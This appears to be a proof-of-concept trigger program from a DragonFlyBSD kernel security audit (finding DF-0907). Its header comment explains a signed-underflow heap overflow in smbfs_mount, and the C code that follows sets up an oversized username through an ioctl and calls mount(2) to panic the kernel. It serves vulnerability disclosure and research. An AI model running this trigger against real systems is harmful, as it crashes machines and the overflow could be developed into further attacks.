โฌข DragonFlyBSD Kernel Audit
DF-0907 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0907 trigger โ€” smbfs_mount signed-underflow heap overflow.
 *
 * Root-cause (sys/vfs/smbfs/smbfs_vfsops.c:165-178):
 *   pc = mp->mnt_stat.f_mntfromname;            // f_mntfromname[MNAMELEN=80]
 *   pe = pc + sizeof(f_mntfromname);            // pe = pc + 80
 *   bzero(pc, MNAMELEN);
 *   *pc++ = '/';                                // pc -> buf+1
 *   *pc++ = '/';                                // pc -> buf+2
 *   pc = index(strncpy(pc, vc_username, pe-pc-2), 0);   // bound = 80-2-2 = 76
 *   if (pc < pe-1) {
 *       *(pc++) = '@';
 *       pc = index(strncpy(pc, vc_srvname, pe-pc-2), 0); // bound = 80-79-2 = -1
 *   }
 *
 * When strlen(vc_username) >= 76, the first strncpy writes 76 bytes with NO
 * NUL terminator. `index(pc,0)` then scans past the 76 written bytes and finds
 * the still-zero byte at buf[78] (bzero'd at line 167) -> pc=buf+78.
 * `if (pc < pe-1)` -> `buf+78 < buf+79` -> TRUE.
 * `*(pc++)='@'` overwrites the buf[78] zero, pc=buf+79.
 * `strncpy(pc, vc_srvname, pe-pc-2)` -> bound = (buf+80)-(buf+79)-2 = -1, which
 * as ptrdiff_t -> size_t is (size_t)-1 == SIZE_MAX. strncpy writes vc_srvname
 * followed by ~SIZE_MAX zero-padding, blowing past f_mntfromname[80] into the
 * adjacent statfs / mount fields (mnt_vstat, mnt_data, mnt_cred, mnt_vn_*_ops).
 * On INVARIANTS / default GENERIC this is an immediate page-fault panic.
 *
 * Threat model: this is a mount-time, ROOT-triggered overflow. `mount(2)` on
 * smbfs requires root (or vfs.usermount+owner). It is therefore a
 * root->kernel hardening gap, NOT an unprivileged LPE.
 *
 * This harness bypasses the userspace mount_smbfs nbns-resolve step entirely:
 * it opens /dev/nsmb0, issues SMBIOC_LOOKUP to build the kernel VC with a long
 * vc_username (no server connection is made), then issues mount(2). The
 * overflow fires inside smbfs_mount before any SMB server contact.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger           # as root, after `kldload smbfs`
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <netinet/in.h>
#include <arpa/inet.h>

#include <vfs/smbfs/smbfs.h>

#include <netproto/smb/smb.h>
#include <netproto/smb/smb_dev.h>
#include <netproto/smb/smb_conn.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define USERNAME_LEN 80   /* >= 76 triggers the pe-pc-2 underflow at line 173 */

int
main(void)
{
    int fd, rv;
    struct sockaddr_in sin;
    struct smbioc_lookup iol;
    struct smbfs_args mdata;
    char username[USERNAME_LEN + 1];
    char mountpoint[] = "/mnt/df0907";

    /* Build the long username (>= 76 chars) that survives smb_ctx_setuser's
     * strlen < SMB_MAXUSERNAMELEN(=128) check. */
    memset(username, 'A', USERNAME_LEN);
    username[USERNAME_LEN] = '\0';

    /* Make sure the mountpoint exists. */
    mkdir(mountpoint, 0755);

    /* ---- 1. Open /dev/nsmb (the netsmb clone device) ---- */
    fd = open("/dev/nsmb", O_RDWR);
    if (fd < 0)
        err(1, "open /dev/nsmb");

    /* ---- 2. Build the smbioc_lookup: VC with long username + a share ---- */
    memset(&sin, 0, sizeof(sin));
    sin.sin_len = sizeof(sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(139);
    sin.sin_addr.s_addr = inet_addr("127.0.0.1");

    memset(&iol, 0, sizeof(iol));
    iol.ioc_level = SMBL_SHARE;
    iol.ioc_flags = SMBLK_CREATE;        /* allow create of new VC */

    /* session (smbioc_ossn) */
    iol.ioc_ssn.ioc_opt = SMBVOPT_PRIVATE;
    iol.ioc_ssn.ioc_server = (struct sockaddr *)&sin;
    iol.ioc_ssn.ioc_svlen = sizeof(sin);
    /* ioc_local MUST be non-NULL, else smb_vc_create() calls
     * dup_sockaddr(NULL) and NULL-derefs before vc_username is set. */
    iol.ioc_ssn.ioc_local = (struct sockaddr *)&sin;
    iol.ioc_ssn.ioc_lolen = sizeof(sin);
    iol.ioc_ssn.ioc_timeout = 5;
    iol.ioc_ssn.ioc_retrycount = 1;
    strlcpy(iol.ioc_ssn.ioc_srvname, "X", sizeof(iol.ioc_ssn.ioc_srvname));
    strlcpy(iol.ioc_ssn.ioc_localcs, "ASCII", sizeof(iol.ioc_ssn.ioc_localcs));
    strlcpy(iol.ioc_ssn.ioc_servercs, "ASCII", sizeof(iol.ioc_ssn.ioc_servercs));
    strlcpy(iol.ioc_ssn.ioc_user, username, sizeof(iol.ioc_ssn.ioc_user));
    /* ioc_user[] is SMB_MAXUSERNAMELEN+1 = 129 bytes; USERNAME_LEN=80 fits. */
    iol.ioc_ssn.ioc_owner = 0;           /* root */
    iol.ioc_ssn.ioc_group = 0;
    iol.ioc_ssn.ioc_mode = SMBM_EXEC;
    iol.ioc_ssn.ioc_rights = SMBM_EXEC;

    /* share (smbioc_oshare) โ€” needed so smb_dev2share() finds sd_share != NULL */
    iol.ioc_sh.ioc_opt = 0;
    iol.ioc_sh.ioc_stype = 0;
    strlcpy(iol.ioc_sh.ioc_share, "SHARE", sizeof(iol.ioc_sh.ioc_share));
    iol.ioc_sh.ioc_owner = 0;
    iol.ioc_sh.ioc_group = 0;
    iol.ioc_sh.ioc_mode = SMBM_EXEC;
    iol.ioc_sh.ioc_rights = SMBM_EXEC;

    printf("[*] username length = %zu (>= 76 triggers pe-pc-2 underflow)\n",
           strlen(username));
    printf("[*] issuing SMBIOC_LOOKUP (builds kernel VC; no server contact)\n");

    rv = ioctl(fd, SMBIOC_LOOKUP, &iol);
    if (rv != 0)
        err(2, "SMBIOC_LOOKUP");

    printf("[*] SMBIOC_LOOKUP ok โ€” kernel VC now holds an 80-char vc_username\n");
    printf("[*] issuing mount(SMBFS) โ€” about to enter smbfs_mount and overflow\n");

    /* ---- 3. mount(2) -> smbfs_mount -> line 170-173 overflow ---- */
    memset(&mdata, 0, sizeof(mdata));
    mdata.version = SMBFS_VERSION;
    mdata.dev = fd;
    strlcpy(mdata.mount_point, mountpoint, sizeof(mdata.mount_point));
    mdata.uid = 0;
    mdata.gid = 0;
    mdata.file_mode = 0644;
    mdata.dir_mode = 0755;
    mdata.caseopt = 0;

    /* If the bug is present, the kernel panics inside this call (page fault
     * on the SIZE_MAX zero-padding write) and we never return. */
    rv = mount(SMBFS_VFSNAME, mdata.mount_point, 0, &mdata);
    printf("[!] mount returned rv=%d errno=%d (%s) โ€” kernel survived\n",
           rv, errno, strerror(errno));

    close(fd);
    return (rv == 0) ? 0 : 1;
}